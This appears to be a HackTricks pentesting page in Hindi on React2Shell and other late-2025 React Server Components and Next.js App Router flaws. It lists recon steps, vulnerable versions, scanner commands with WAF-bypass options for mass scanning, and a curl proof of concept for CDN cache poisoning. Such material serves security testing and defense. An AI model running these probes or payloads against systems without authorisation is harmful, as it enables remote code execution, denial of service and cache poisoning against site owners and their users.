React Server Functions (RSF) वे फ़ंक्शन हैं जिनमें 'use server'; निर्देश शामिल होता है। उन फ़ंक्शन्स से बाइंड हर form action, mutation, या fetch helper एक RSC Flight endpoint बन जाता है जो आसानी से attacker-supplied payloads को deserialize कर लेगा। उपयोगी recon steps जो React2Shell आकलनों से निकली हैं:

• Static inventory: निर्देश की तलाश करें ताकि आप समझ सकें कि framework कितने RSFs को स्वचालित रूप से एक्सपोज़ कर रहा है।

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app डिफ़ॉल्ट रूप से App Router + app/ डायरेक्ट्री को सक्षम करता है, जो बिना किसी संकेत के हर route को एक RSC-capable endpoint में बदल देता है। App Router assets जैसे /_next/static/chunks/app/ या responses जो Flight chunks को text/x-component के रूप में stream करते हैं, इंटरनेट-फेसिंग मजबूत fingerprints हैं।
• Implicitly vulnerable RSC deployments: React’s own advisory बताती है कि RSC runtime भेजने वाले ऐप्स even without explicit RSFs भी exploitable हो सकते हैं, इसलिए react-server-dom-* 19.0.0–19.2.0 का उपयोग करने वाली किसी भी build को संदिग्ध मानें।
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, आदि वही serializer reuse करते हैं और patched React builds embed करने तक समान remote attack surface inherit करते हैं।

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: कमजोर 19.0.0, 19.1.0–19.1.1 और 19.2.0 में; पैच्ड 19.0.1, 19.1.2 और 19.2.1 में क्रमशः।
• Next.js stable: App Router releases 15.0.0–16.0.6 कमजोर RSC stack को embed करते हैं। Patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 में fixed deps शामिल हैं, इसलिए इन वर्ज़न्स से नीचे की कोई भी build उच्च-मूल्य (high-value) मानी जानी चाहिए।
• Next.js canary: 14.3.0-canary.77+ भी buggy runtime भेजता है और वर्तमान में patched canary drops नहीं हैं, जिससे वे fingerprints मजबूत exploitation candidates बनते हैं।

Remote detection oracle

Assetnote’s react2shell-scanner उम्मीदवार paths पर एक crafted multipart Flight request भेजता है और server-side व्यवहार को मॉनिटर करता है:

• Default mode एक deterministic RCE payload चलाता है (math operation X-Action-Redirect के माध्यम से reflected) जो code execution साबित करता है।
• --safe-check mode जानबूझकर Flight message को malformed करता है ताकि पैच्ड servers 200/400 लौटाएँ, जबकि कमजोर targets HTTP/500 responses छोड़ते हैं जिनके body में E{"digest" सबस्ट्रिंग होती है। यह (500 + digest) जोड़ी वर्तमान में defenders द्वारा प्रकाशित सबसे भरोसेमंद remote oracle है।
• Built-in --waf-bypass, --vercel-waf-bypass, और --windows switches payload layout समायोजित करते हैं, junk prepend करते हैं, या OS commands swap करते हैं ताकि आप वास्तविक Internet assets को probe कर सकें।

python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

अन्य हालिया App Router समस्याएँ (2025 के अंत)

1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – malformed Flight payloads RSC resolver को infinite loop में डाल सकते हैं (pre-auth DoS) या compiled Server Function code की serialization ज़बरदस्ती करवा सकते हैं अन्य कार्रवाइयों के लिए। App Router builds ≥13.3 patched होने तक प्रभावित हैं; 15.0.x–16.0.x को upstream advisory से specific patch lines चाहिए। सामान्य Server Action path का पुन: उपयोग करें लेकिन text/x-component body स्ट्रीम करें जिसमें abusive $ references हों। CDN के पीछे फंसी कनेक्शन cache timeouts की वजह से खुली रहती है, जिससे DoS सस्ता पड़ता है।

• Triage tip: Unpatched targets malformed Flight payloads के बाद E{"digest" के साथ 500 लौटाते हैं; patched builds 400/200 लौटाते हैं। किसी भी endpoint जिसकी पहले से Flight chunks स्ट्रीम हो रही हों (देखें Next-Action headers या text/x-component responses) को टेस्ट करें और modified payload के साथ replay करें।

2. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – missing Vary के कारण Accept: text/x-component response cached हो कर उन browsers को serve हो सकती है जो HTML की उम्मीद कर रहे हैं। एक single priming request पेज को raw RSC payloads से बदल सकता है। PoC flow:

# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

अगर दूसरी response HTML के बजाय JSON Flight data लौटाती है, तो route poisonable है। परीक्षण के बाद cache purge करें।

References

• Pentesting Next.js Server Actions — A Burp Extension for Hash-to-Function Mapping
• NextjsServerActionAnalyzer (Burp extension)
• CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
• CVE-2025-55182 & CVE-2025-66478 React2Shell – All You Need to Know
• 0xdf – HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
• assetnote/react2shell-scanner
• Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
• GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

• सदस्यता योजनाओं की जांच करें!
• हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
• हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।